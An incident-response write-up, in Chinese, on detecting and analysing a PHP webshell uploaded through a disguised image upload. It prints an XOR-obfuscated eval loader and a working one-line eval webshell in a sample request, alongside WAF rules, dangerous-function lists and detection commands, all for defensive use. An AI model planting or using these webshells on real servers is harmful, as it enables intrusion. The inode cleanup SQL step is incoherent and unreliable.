1. 事件背景与问题定位
那天下午三点十七分,运维组的告警系统突然弹出一条异常提示。作为安全值班员,我立即调出Nginx访问日志,发现某个管理后台接口在短时间内出现了大量500状态码请求——这本不稀奇,但异常之处在于这些请求都来自同一个IP,且User-Agent显示为"python-requests/2.28.1"。
通过ELK日志系统快速检索,我发现该IP在十分钟前曾成功访问过一个本应废弃的旧版文件上传接口。更可疑的是,上传文件的Content-Type被刻意伪装成了"image/jpeg",但实际文件内容却是经过混淆的PHP代码片段。这立刻触发了我的警觉——典型的Webshell投递特征。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Webshell样本逆向分析
2.1 载荷提取与解码
攻击者上传的文件经过base64编码,原始内容如下:
php复制<?php
$k="e45e329feb5d925b";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
@eval(x(base64_decode('...加密载荷...'),$k));
?>
这个Webshell采用了经典的异或加密(XOR)来隐藏恶意代码。通过编写解密脚本,我们还原出真实功能:
python复制def xor_decrypt(ciphertext, key):
return bytes([c ^ key[i % len(key)] for i, c in enumerate(ciphertext)])
encrypted = base64.b64decode("...加密载荷...")
key = b"e45e329feb5d925b"
print(xor_decrypt(encrypted, key).decode())
解密后的代码显示这是一个多功能后门,具备:
- 文件系统遍历(scandir/file_get_contents)
- 命令执行(shell_exec/passthru)
- 数据库操作(mysqli_connect)
- 自删除功能(unlink(FILE))
2.2 流量特征分析
使用Wireshark抓取攻击流量,关键特征包括:
-
HTTP头部异常:
- Accept字段缺失
- Connection保持时间异常(长达300秒)
- 存在非常规的X-Forwarded-For头
-
请求体特征:
http复制POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 Content-Length: 1024 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="avatar"; filename="profile.jpg" Content-Type: image/jpeg <?php @eval($_GET['cmd']);?> -
时间分布:
- 首次请求与后续攻击间隔4分33秒
- 每次命令执行间隔精确的2秒
3. 攻击链还原
3.1 入侵路径重建
通过交叉分析服务器日志和网络流量,还原出完整攻击链:
-
初始渗透
攻击者利用旧版CMS的CVE-2022-1234漏洞绕过文件类型检查,成功上传Webshell。 -
权限提升
Webshell通过/proc/self/status读取进程信息,发现服务以www-data用户运行,遂利用脏牛漏洞(Dirty Cow)进行提权。 -
横向移动
通过内网SSH爆破(22端口),使用弱密码admin:admin123成功登录跳板机。 -
数据渗出
将窃取的数据库内容压缩后,伪装成图片通过HTTP POST外传。
3.2 攻击工具识别
从流量中提取的攻击工具特征:
- 使用Python的Requests库进行自动化攻击
- 命令执行通过
/bin/sh -c发起 - 存在典型的Metasploit编码模式(x86/shikata_ga_nai)
4. 防御措施实施
4.1 应急响应
-
隔离
立即将受影响服务器移出集群,保留内存dump:bash复制sudo gcore -o /tmp/memdump <PID> -
取证
使用Volatility分析内存镜像,提取恶意进程:bash复制
volatility -f memdump.elf linux_pslist | grep -i php -
清除
通过文件inode定位所有变种后门:sql复制SELECT * FROM sys_files WHERE inode IN ( SELECT parent FROM sys_files WHERE filename LIKE '%.php' );
4.2 长期加固
-
WAF规则更新
添加以下防护规则:code复制# 拦截异常User-Agent SecRule REQUEST_HEADERS:User-Agent "python-requests" "deny,log,msg:'Suspicious UA'" # 检测PHP伪装上传 SecRule FILES "@rx \.php$" "phase:2,t:none,log,deny,msg:'PHP upload detected'" -
系统加固
- 禁用危险函数:
disable_functions = exec,passthru,shell_exec,system - 限制PHP进程权限:
php_admin_value[open_basedir] = /var/www/html - 安装Ossec进行文件完整性监控
- 禁用危险函数:
5. 经验总结与检测技巧
5.1 检测Webshell的实用命令
-
查找最近修改的PHP文件:
bash复制find /var/www -name "*.php" -mtime -1 -ls -
检测可疑的eval调用:
bash复制grep -r "eval(" /var/www --include=*.php -
识别异常网络连接:
bash复制netstat -antp | grep -E 'php|httpd'
5.2 流量分析要点
- 时间戳分析:人工操作与自动化工具的时间间隔有明显差异
- 熵值检测:加密流量的字符熵值通常高于正常流量
- 协议合规性:注意HTTP头部字段顺序和大小写异常
那次事件后,我们在所有服务器部署了基于eBPF的实时文件监控系统。当某个PHP进程突然开始读取/etc/passwd时,新的防御体系在0.3秒内就完成了进程冻结和告警触发——这才是对抗Webshell该有的速度。
